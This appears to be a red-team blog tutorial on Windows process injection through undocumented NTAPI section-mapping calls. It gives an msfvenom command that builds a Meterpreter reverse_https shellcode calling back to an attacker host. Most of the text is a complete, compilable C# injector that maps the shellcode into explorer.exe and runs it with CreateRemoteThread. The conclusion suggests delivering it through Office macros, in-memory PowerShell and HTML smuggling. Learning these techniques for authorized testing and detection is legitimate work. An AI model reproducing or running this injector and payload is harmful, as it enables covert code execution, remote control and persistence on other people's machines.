Process Code Injection Through Undocumented NTAPI
- Process code injection through chaining
VirtualAllocEx
,WriteProcessMemory
, andCreateRemoteThread
Win32 API functions is considered to be a standard technique. There's also another way of injecting code into another process's virtual address space, which can be done through the following lower-level native NT API functions:NtCreateSection
,NtMapViewOfSection
,NtUnMapViewOfSection
, andNtClose
located inntdll.dll
.
Theory
The main idea here is that when our malicious executable is executed, it will inject our shellcode into the virtual address space (VAS) of another process. Once our shellcode is placed within the memory of the other process, we will execute the shellcode from within the other process. This means that when our malicious binary gets terminated, our shellcode will still be running as long as the process we injected in is running. This means that we need to inject into a process that is unlikely to terminate. One such option is explorer.exe
, which we're going to use in this post. Of course, we should take access permissions into mind since we cannot inject into a process that we're not privileged to do so.
In this blog, we're going to import the ntdll.dll
in our C# PoC and call the APIs from our PoC.
First, we're going to generate a shellcode so that we have it ready as soon as we need it. You can generate the shellcode through the msfvenom
and set the format to be in C#:
$ msfvenom -p windows/x64/meterpreter/reverse_https LHOST=eth2 LPORT=443 -f csharp
byte[] buf = new byte[598] {
0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
...
0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5 };
We will initiate the buffer_size
to be buf.Length
, which is basically the size of the buf
byte array (in case you're not familiar with C#).
The shellcode with its size in C# should look like:
byte[] buf = new byte[598] {
0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
...
0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5 };
long buffer_size = buf.Length;
Next, let's talk about the APIs and discuss each of them separately before we put the final PoC, but before we delve into that, we should keep in mind that we're calling the APIs from C# code. Since the APIs are in an unmanaged ntdll.dll
library, we cannot just use them directly. We need to specify data types and return values that are compatible with the corresponding library functions that we're going to use, as well as the unmanaged library each function is located at. Luckily, all this work has already been done through P/Invoke. We can find all the PInvoke C# signatures we need in http://www.pinvoke.net.
The PInvoke C# signatures we're going to need are the following:
// OpenProcess - kernel32.dll
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);
// CreateRemoteThread - kernel32.dll
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(
IntPtr hProcess,
IntPtr lpThreadAttributes,
uint dwStackSize,
IntPtr lpStartAddress,
IntPtr lpParameter,
uint dwCreationFlags,
IntPtr lpThreadId);
// GetCurrentProcess - kernel32.dll
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr GetCurrentProcess();
// ntdll.dll APIs
// NtCreateSection
[DllImport("ntdll.dll")]
public static extern UInt32 NtCreateSection(
ref IntPtr section,
UInt32 desiredAccess,
IntPtr pAttrs,
ref long MaxSize,
uint pageProt,
uint allocationAttribs,
IntPtr hFile);
// NtMapViewOfSection
[DllImport("ntdll.dll")]
public static extern UInt32 NtMapViewOfSection(
IntPtr SectionHandle,
IntPtr ProcessHandle,
ref IntPtr BaseAddress,
IntPtr ZeroBits,
IntPtr CommitSize,
ref long SectionOffset,
ref long ViewSize,
uint InheritDisposition,
uint AllocationType,
uint Win32Protect);
// NtUnmapViewOfSection
[DllImport("ntdll.dll", SetLastError = true)]
static extern uint NtUnmapViewOfSection(
IntPtr hProc,
IntPtr baseAddr);
// NtClose
[DllImport("ntdll.dll", ExactSpelling = true, SetLastError = false)]
static extern int NtClose(IntPtr hObject);
Since there are few kernel32.dll
API functions we're going to leverage that are documented, I'm going to explain them briefly for the sake of clarity. We use OpenProcess
to get a handle to the targeted process. We also use CreateRemoteThread
to execute code on the targeted process by providing an address to the memory location in the targeted process's VAS. We use GetCurrentProcess
to get a handle to the current process.
That's said, let's talk about the NTAPI undocumented functions that we're going to leverage to map our shellcode in the targeted process.
NtCreateSection
From this link, we can get an idea of the parameters NtCreateSection
. This function simply creates a section object. A section object simply means a chunk of memory that a process can use to share memory with another. We can leverage this to create a section in the current process (malicious) that we can share with the targeted process (explorer.exe). The prototype of NtCreateSection
is the following:
SectionHandle
should be the handle to the section we ask the API to create. This is a pointer we get as a result of our call.
DesiredAccess
should be the access we want to get to the section. In this case, it's going to be the value of SECTION_MAP_WRITE | SECTION_MAP_READ | SECTION_MAP_EXECUTE
, which is 0xe
. Those values can be found here.
ObjectAttributes
is a pointer to OBJECT_ATTRIBUTES structure which contains the section name that is in Object Namespace format. Since this is optional and unnecessary in our case, we can just pass a NULL pointer.
MaximumSize
is the maximum size of the memory section we desire. In this case, it's going to be the size of our shellcode. Notice that it's a pointer, so we'll need to pass a reference to the buffer_size
.
PageAttributess
is what the parameter name itself says. It's the memory page attributes. In this case, we want PAGE_EXECUTE_READWRITE
, which has the value of 0x40
. This gives us the permission to read/write/execute code within the page.
SectionAttributes
is the section attributes. In this case, we're going to supply a 0
so that NtCreateSection
creates a section with the default setting, which is SEC_COMMIT
FileHandle
is used to specify a handle for a file that's used as a Page File for the section. Since we don't care, we're going to pass a null pointer.
Our C# code for this function should look like:
IntPtr ptr_section_handle = IntPtr.Zero;
UInt32 create_section_status = NtCreateSection(ref ptr_section_handle, 0xe, IntPtr.Zero, ref buffer_size, 0x40, 0x08000000, IntPtr.Zero);
ptr_section_handle
is going to be the section handle we're going to get as the result of a successful call.NtCreateSection
returnsSTATUS_SUCCESS
when the operation is successful.STATUS_SUCCESS
equals to0
.- If either
ptr_section_handle
is stillIntPtr.Zero
orcreate_section_status
is notSTATUS_SUCCESS
, then there must be something that went wrong. We can write a check before going to the next process as follows:
if (create_section_status != 0 || ptr_section_handle == IntPtr.Zero)
{
Console.WriteLine("[-] An error occured while creating the section.");
return -1;
}
Console.WriteLine("[+] The section has been created successfully.");
Console.WriteLine("[*] ptr_section_handle: 0x" + String.Format("{0:X}", (ptr_section_handle).ToInt64()));
NtMapViewOfSection
From this link, we can see the parameters this function accepts. This function maps the a view of a section into the VAS of a process. We're going to use this to map a view of the section we got a handle to. We're going to map our shellcode into the current process VAS, and then we will map it again to the targeted process. The prototype of NtMapViewOfSection
is as follows:
SectionHandle
is the section handle. Its description is the same as explained above in NtCreateSection
parameters.
ProcessHandle
is a handle to a Process Object. We're going to pass the process object we're trying to map the view to. We're going to pass GetCurrentProcess()
for the current Process Object as the ProcessHandle
. Then we're again going to pass the Process Object we're targeting, explorer.exe
in this case. The Process Object of the targeted process can be obtained through OpenProcess
as we will see later.
*BaseAddress
is a pointer to the variable that will get the assigned mapped memory. For this one, we will pass the address of a NULL pointer so that the function maps the memory automatically.
ZeroBits
indicates the high bits that you want to set to 0 in the *BaseAddress
. For this one, we don't really care, so we'll pass a NULL pointer.
CommitSize
is the size in bytes of the initially committed memory. We will pass a NULL pointer to this parameter so that the API function will automatically deal with this for us.
SectionOffset
is a pointer to the start of the mapped block in the section. This will be the address of the beginning of our shellcode within the section. For this parameter, we will pass a reference to a long
variable so that it can store the pointer.
ViewSize
is a pointer to the size of the mapped buffer. In this case, this is going to be a pointer to the buffer_size
, which is the size of the shellcode.
InheritDisposition
determines whether child processes can inherit the mapped section. However, we will pass ViewUnmap
whose value is 0x2
. This tells the function that the created view will not be inherited by any child process.
AllocationType
is the allocation type. As can be seen in the prototype, it's optional. Therefore, we can pass a 0
.
Protect
is the page protection attributes we discussed earlier. This time, we'll pass PAGE_READWRITE
, which equals 0x04
. The reason we're not passing PAGE_EXECUTE_READWRITE
is that we actually don't want to execute code in the current process. We just want to map the section view so that we can map it again afterwards to the targeted process with the execution attribute, which we will set to the targeted process's section view later.
Our C# code for this function should look like:
long local_section_offset = 0;
IntPtr ptr_local_section_addr = IntPtr.Zero;
UInt32 local_map_view_status = NtMapViewOfSection(ptr_section_handle, GetCurrentProcess(), ref ptr_local_section_addr, IntPtr.Zero, IntPtr.Zero, ref local_section_offset, ref buffer_size, 0x2, 0, 0x04);
local_map_view_status
returnsSTATUS_SUCCESS
in case the call's operation is successful.ptr_local_section_addr
is going to be the address of the mapped section in the current process.- If either
local_map_view_status
is notSTATUS_SUCCESS
orptr_local_section_addr
isIntPtr.Zero
, then there must be something that went wrong. We can implement a check in case of a failure as follows:
if (local_map_view_status != 0 || ptr_local_section_addr == IntPtr.Zero)
{
Console.WriteLine("[-] An error occured while mapping the view within the local section.");
return -1;
}
Console.WriteLine("[+] The local section view's been mapped successfully with PAGE_READWRITE access.");
Console.WriteLine("[*] ptr_local_section_addr: 0x" + String.Format("{0:X}", (ptr_local_section_addr).ToInt64()));
Next, we're going to copy the shellcode into the view we've just mapped. We're going to use Marshal.Copy
method, which is basically used to copy data from a managed array (our shellcode) into an unmanaged memory address (the mapped view). It can also be used in reverse.
- C# code to copy our shellcode into the memory:
Marshal.Copy(buf, 0, ptr_local_section_addr, buf.Length);
Once the shellcode is copied into the memory of the current process, we'll again map the current process's view into the targeted process's VAS.
- C# code to map the current process's section that contains the shellcode into the targeted process's VAS:
var process = Process.GetProcessesByName("explorer")[0];
IntPtr hProcess = OpenProcess(0x001F0FFF, false, process.Id);
IntPtr ptr_remote_section_addr = IntPtr.Zero;
UInt32 remote_map_view_status = NtMapViewOfSection(ptr_section_handle, hProcess, ref ptr_remote_section_addr, IntPtr.Zero, IntPtr.Zero, ref local_section_offset, ref buffer_size, 0x2, 0, 0x20);
- As can be seen above, we get the first instance of
explorer
process to get its PID, and we useOpenProcess
and supply PROCESS_ALL_ACCESS (0x001F0FFF
), and the targeted process's PID. This is done to get a handle to the targeted process. - Next, we define
ptr_remote_section_addr
and set it to a NULL pointer. - We then call
NtMapViewOfSection
. The difference between this call and the second call is that we pass the targeted process handle, along with theremote_section_addr
. We tellNtMapViewOfSection
that the section view we want to map in the targeted process can be obtained throughptr_section_handle
atlocal_section_offset
. We also pass0x20
in the last parameter to indicatePAGE_EXECUTE_READ
so that we can execute our shellcode.
Again, we'll check whether the operation is successful:
if (remote_map_view_status != 0 || ptr_remote_section_addr == IntPtr.Zero)
{
Console.WriteLine("[-] An error occured while mapping the view within the remote section.");
return -1;
}
Console.WriteLine("[+] The remote section view's been mapped successfully with PAGE_EXECUTE_READ access.");
Console.WriteLine("[*] ptr_remote_section_addr: 0x" + String.Format("{0:X}", (ptr_remote_section_addr).ToInt64()));
Now the shellcode is mapped within the targeted process's VAS. There's no point of keeping our shellcode in the current process's VAS, so we will unmap the section we mapped in the our malicious process and close the handle which can be done through NtUnmapViewOfSection
and NtClose
respectively.
NtUnmapViewOfSection(GetCurrentProcess(), ptr_local_section_addr);
NtClose(ptr_section_handle);
Now, we're almost there. In case everything goes as planned, we should have a pointer to our shellcode within the targeted process explorer.exe
. This pointer is ptr_remote_section_addr
.
We're going to use CreateRemoteThread
to execute the shellcode within the targeted process. The code can be written as follows:
CreateRemoteThread(hProcess, IntPtr.Zero, 0, ptr_remote_section_addr, IntPtr.Zero, 0, IntPtr.Zero);
hProcess
is a handle to the target process.ptr_remote_section_addr
is the address which our shellcode is located at.- If you're curious about the rest of the parameters we're passing, you can check the MSDN page for
CreateRemoteThread
.
Now, if we correctly put everything together, our code should look like the following:
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
namespace HelloThere
{
class Program
{
// OpenProcess - kernel32.dll
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);
// CreateRemoteThread - kernel32.dll
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(
IntPtr hProcess,
IntPtr lpThreadAttributes,
uint dwStackSize,
IntPtr lpStartAddress,
IntPtr lpParameter,
uint dwCreationFlags,
IntPtr lpThreadId);
// GetCurrentProcess - kernel32.dll
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr GetCurrentProcess();
// ntdll.dll API functions:
// NtCreateSection
[DllImport("ntdll.dll")]
public static extern UInt32 NtCreateSection(
ref IntPtr section,
UInt32 desiredAccess,
IntPtr pAttrs,
ref long MaxSize,
uint pageProt,
uint allocationAttribs,
IntPtr hFile);
// NtMapViewOfSection
[DllImport("ntdll.dll")]
public static extern UInt32 NtMapViewOfSection(
IntPtr SectionHandle,
IntPtr ProcessHandle,
ref IntPtr BaseAddress,
IntPtr ZeroBits,
IntPtr CommitSize,
ref long SectionOffset,
ref long ViewSize,
uint InheritDisposition,
uint AllocationType,
uint Win32Protect);
// NtUnmapViewOfSection
[DllImport("ntdll.dll", SetLastError = true)]
static extern uint NtUnmapViewOfSection(
IntPtr hProc,
IntPtr baseAddr);
// NtClose
[DllImport("ntdll.dll", ExactSpelling = true, SetLastError = false)]
static extern int NtClose(IntPtr hObject);
static int Main(string[] args)
{
// msfvenom -p windows/x64/meterpreter/reverse_https LHOST=tun0 LPORT=443 -f csharp
byte[] buf = new byte[598] {
0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
...
0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5 };
long buffer_size = buf.Length;
// Create the section handle.
IntPtr ptr_section_handle = IntPtr.Zero;
UInt32 create_section_status = NtCreateSection(ref ptr_section_handle, 0xe, IntPtr.Zero, ref buffer_size, 0x40, 0x08000000, IntPtr.Zero);
if (create_section_status != 0 || ptr_section_handle == IntPtr.Zero)
{
Console.WriteLine("[-] An error occured while creating the section.");
return -1;
}
Console.WriteLine("[+] The section has been created successfully.");
Console.WriteLine("[*] ptr_section_handle: 0x" + String.Format("{0:X}", (ptr_section_handle).ToInt64()));
// Map a view of a section into the virtual address space of the current process.
long local_section_offset = 0;
IntPtr ptr_local_section_addr = IntPtr.Zero;
UInt32 local_map_view_status = NtMapViewOfSection(ptr_section_handle, GetCurrentProcess(), ref ptr_local_section_addr, IntPtr.Zero, IntPtr.Zero, ref local_section_offset, ref buffer_size, 0x2, 0, 0x04);
if (local_map_view_status != 0 || ptr_local_section_addr == IntPtr.Zero)
{
Console.WriteLine("[-] An error occured while mapping the view within the local section.");
return -1;
}
Console.WriteLine("[+] The local section view's been mapped successfully with PAGE_READWRITE access.");
Console.WriteLine("[*] ptr_local_section_addr: 0x" + String.Format("{0:X}", (ptr_local_section_addr).ToInt64()));
// Copy the shellcode into the mapped section.
Marshal.Copy(buf, 0, ptr_local_section_addr, buf.Length);
// Map a view of the section in the virtual address space of the targeted process.
var process = Process.GetProcessesByName("explorer")[0];
IntPtr hProcess = OpenProcess(0x001F0FFF, false, process.Id);
IntPtr ptr_remote_section_addr = IntPtr.Zero;
UInt32 remote_map_view_status = NtMapViewOfSection(ptr_section_handle, hProcess, ref ptr_remote_section_addr, IntPtr.Zero, IntPtr.Zero, ref local_section_offset, ref buffer_size, 0x2, 0, 0x20);
if (remote_map_view_status != 0 || ptr_remote_section_addr == IntPtr.Zero)
{
Console.WriteLine("[-] An error occured while mapping the view within the remote section.");
return -1;
}
Console.WriteLine("[+] The remote section view's been mapped successfully with PAGE_EXECUTE_READ access.");
Console.WriteLine("[*] ptr_remote_section_addr: 0x" + String.Format("{0:X}", (ptr_remote_section_addr).ToInt64()));
// Unmap the view of the section from the current process & close the handle.
NtUnmapViewOfSection(GetCurrentProcess(), ptr_local_section_addr);
NtClose(ptr_section_handle);
CreateRemoteThread(hProcess, IntPtr.Zero, 0, ptr_remote_section_addr, IntPtr.Zero, 0, IntPtr.Zero);
return 0;
}
}
}
Compiling & launching the above code:
Notice that the PID of the process is the targeted process explorer.exe
.
Conclusion:
The idea of process migration is simply to inject another process with your malicious code so that instead of the original process, which might get terminated by the user, you inject into another process that's less likely to terminate. Of course, it's more complicated when it comes to different architechtures. Running a 64-bit shellcode within a 32-bit process will for sure fail. The same applies to process migration, you'll need to know the target process's arch & inject it with a compatible code. The code above serves just as a PoC. There are many ways to develop this PoC, which can involve client-side attacks such as creating an Office Document Macro and leveraging PowerShell to execute the above code entirely in memory. It can also be converted into other extensions such as Jscript or VBscript, which can be taken advantage of along with HTML Smuggling to perform attacks during engagements.
References: